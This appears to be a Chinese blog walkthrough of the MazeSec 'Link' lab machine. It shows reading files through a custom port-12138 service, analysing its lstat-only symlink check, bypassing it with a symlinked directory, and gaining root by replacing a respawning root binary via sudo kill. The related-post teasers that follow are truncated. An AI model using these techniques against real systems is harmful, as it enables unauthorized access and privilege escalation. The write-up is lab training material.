MazeSec-Link2
Link 测试
信息搜集
192.168.43.65
端口扫描
1 | ┌──(root㉿kali)-[/usr/share/seclists/Discovery/Web-Content] |
12138 端口运行着一个自定义的交互式脚本
这里使用nc连接发现可以读取/home/user12138目录下的文件
1 | ┌──(root㉿kali)-[~] |
尝试读取SSH 密钥
1 | ┌──(root㉿kali)-[~] |
但是私钥不全。读取历史命令记录
1 | ┌──(root㉿kali)-[/tmp/aaa] |
尝试登录william发现可以登录上去
1 | ┌──(root㉿kali)-[/tmp/aaa] |
提权
william -> root
在/目录下有一个12138.txt只能user12138读取
将/opt/12138 get下来ida分析
1 | william@Link:/opt$ scp 12138 root@192.168.100.49:/tmp/aaa |
1 | int __fastcall __noreturn main(int argc, const char **argv, const char **envp) |
1 | int __fastcall handle_client(int a1) |
handle_client函数
- 绝对路径校验：路径必须以
/ 开头 (buf[0] == 47)。 - 防御目录穿越：路径中不能包含
.. (strstr(buf, ".."))。 - 前缀白名单：路径必须以
/home/user12138 或/tmp开头。 - 符号链接校验：调用
lstat(buf, &stat_buf) 并检查st_mode，如果检测到是符号链接（S_IFLNK），则拒绝访问。 - 读取操作：通过校验后，程序使用
open()打开文件，读取前 1023 字节并回传。（这也是为什么前面无法完整读取ssh key的原因）
核心漏洞在于程序对符号链接的检查是不完整的，程序使用了 lstat 来检查用户提供的整个路径字符串：
1 | if ( (unsigned int)lstat(buf, &stat_buf) == -1 ) // ... |
lstat 函数仅返回路径中最后一个组件（Terminal Component）的信息。如果路径是 /tmp/folder/file.txt，lstat 检查的是 file.txt。如果 folder 是一个指向根目录的符号链接，lstat 并不会报错，因为它认为你最终访问的是一个普通文件。然而，当程序随后调用 open(buf, 0) 时，内核的路径解析器会递归地处理路径。如果中间目录是一个链接，内核会跟随它跳转到目标位置。
1 | ln -snf / /tmp/pwn_link |
1 | william@Link:/opt$ nc 127.0.0.1 12138 |
横向移动到user12138用户
user12138 -> root
1 | william@Link:/tmp$ su user12138 |
可以使用sudo提权
1 | user12138@Link:/tmp$ sudo -l |
查看进程发现/opt/12138是root运行的
通过kill杀掉后发现又启动了。那么可以杀掉进程的时候修改/opt/12138从而提权
1 | user12138@Link:/opt$ sudo /usr/bin/kill 408 |
本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Eecho&小站！
相关推荐
2026-06-23
MazeSec-H34d3r
H34d3r 靶机：H34d3r作者：Sublarge靶机ID: 669系统：Linux难度：Easy 【H34d3r.ova】链接：https://qfile.qq.com/q/y7xuyMOkA8 信息搜集192.168.100.43 端口扫描123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114┌──(root㉿Eecho)-[~]└─# rustscan -a 192.168.100.43 -- -A.----. .-. .-. .----..---. .----. .---. .--. .-. .-.| {} }| ...
2026-05-14
MazeSec-Local
Local 靶机：Local作者：Sublarge靶机ID: 644系统：Linux难度：Easy 信息搜集192.168.43.120 端口扫描123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116┌──(root㉿Eecho)-[~]└─# rustscan -a 192.168.43.120 -- -A.----. .-. .-. .----..---. .----. .---. .--. .-. .-.| {} }| { } |{ {__ {_ _}...
2026-01-22
MazeSec-115final
115final信息搜集192.168.100.15 端口扫描1234567891011121314151617181920212223242526272829303132333435363738394041root@LAPTOP-O235O5EH [~] ➜ rustscan -a 192.168.100.15 [20:03:10].----. .-. .-. .----..---. .----. .---. .--. .-. .-.| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| || .-. \| {_} |.-._} } | | .-._} }\ }/ ...
2026-01-22
MazeSec-Worm
Worm192.168.100.47 信息搜集端口扫描1234567891011121314151617181920212223242526272829303132333435363738394041root@LAPTOP-O235O5EH [~/Desktop/test] ➜ rustscan -a 192.168.100.47 [16:28:54].----. .-. .-. .----..---. .----. .---. .--. .-. .-.| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| || .-. \| {_} |.-._} } | | .-._...
2026-01-17
MazeSec-112
112192.168.100.35 信息搜集端口扫描1234567891011121314151617181920212223242526272829303132333435363738394041root@LAPTOP-O235O5EH [~] ➜ rustscan -a 192.168.100.35 [12:29:53].----. .-. .-. .----..---. .----. .---. .--. .-. .-.| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| || .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |`-...
2026-04-29
MazeSec-ED
ED 测试信息搜集192.168.100.68 端口扫描123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117┌──(root㉿Eecho)-[/tmp/aaa]└─# rustscan -a 192.168.100.68 -- -A.----. .-. .-. .----..---. .----. .---. .--. .-. .-.| {} }| { } |{ {__ {_ _}{ {__ / ___} / ...
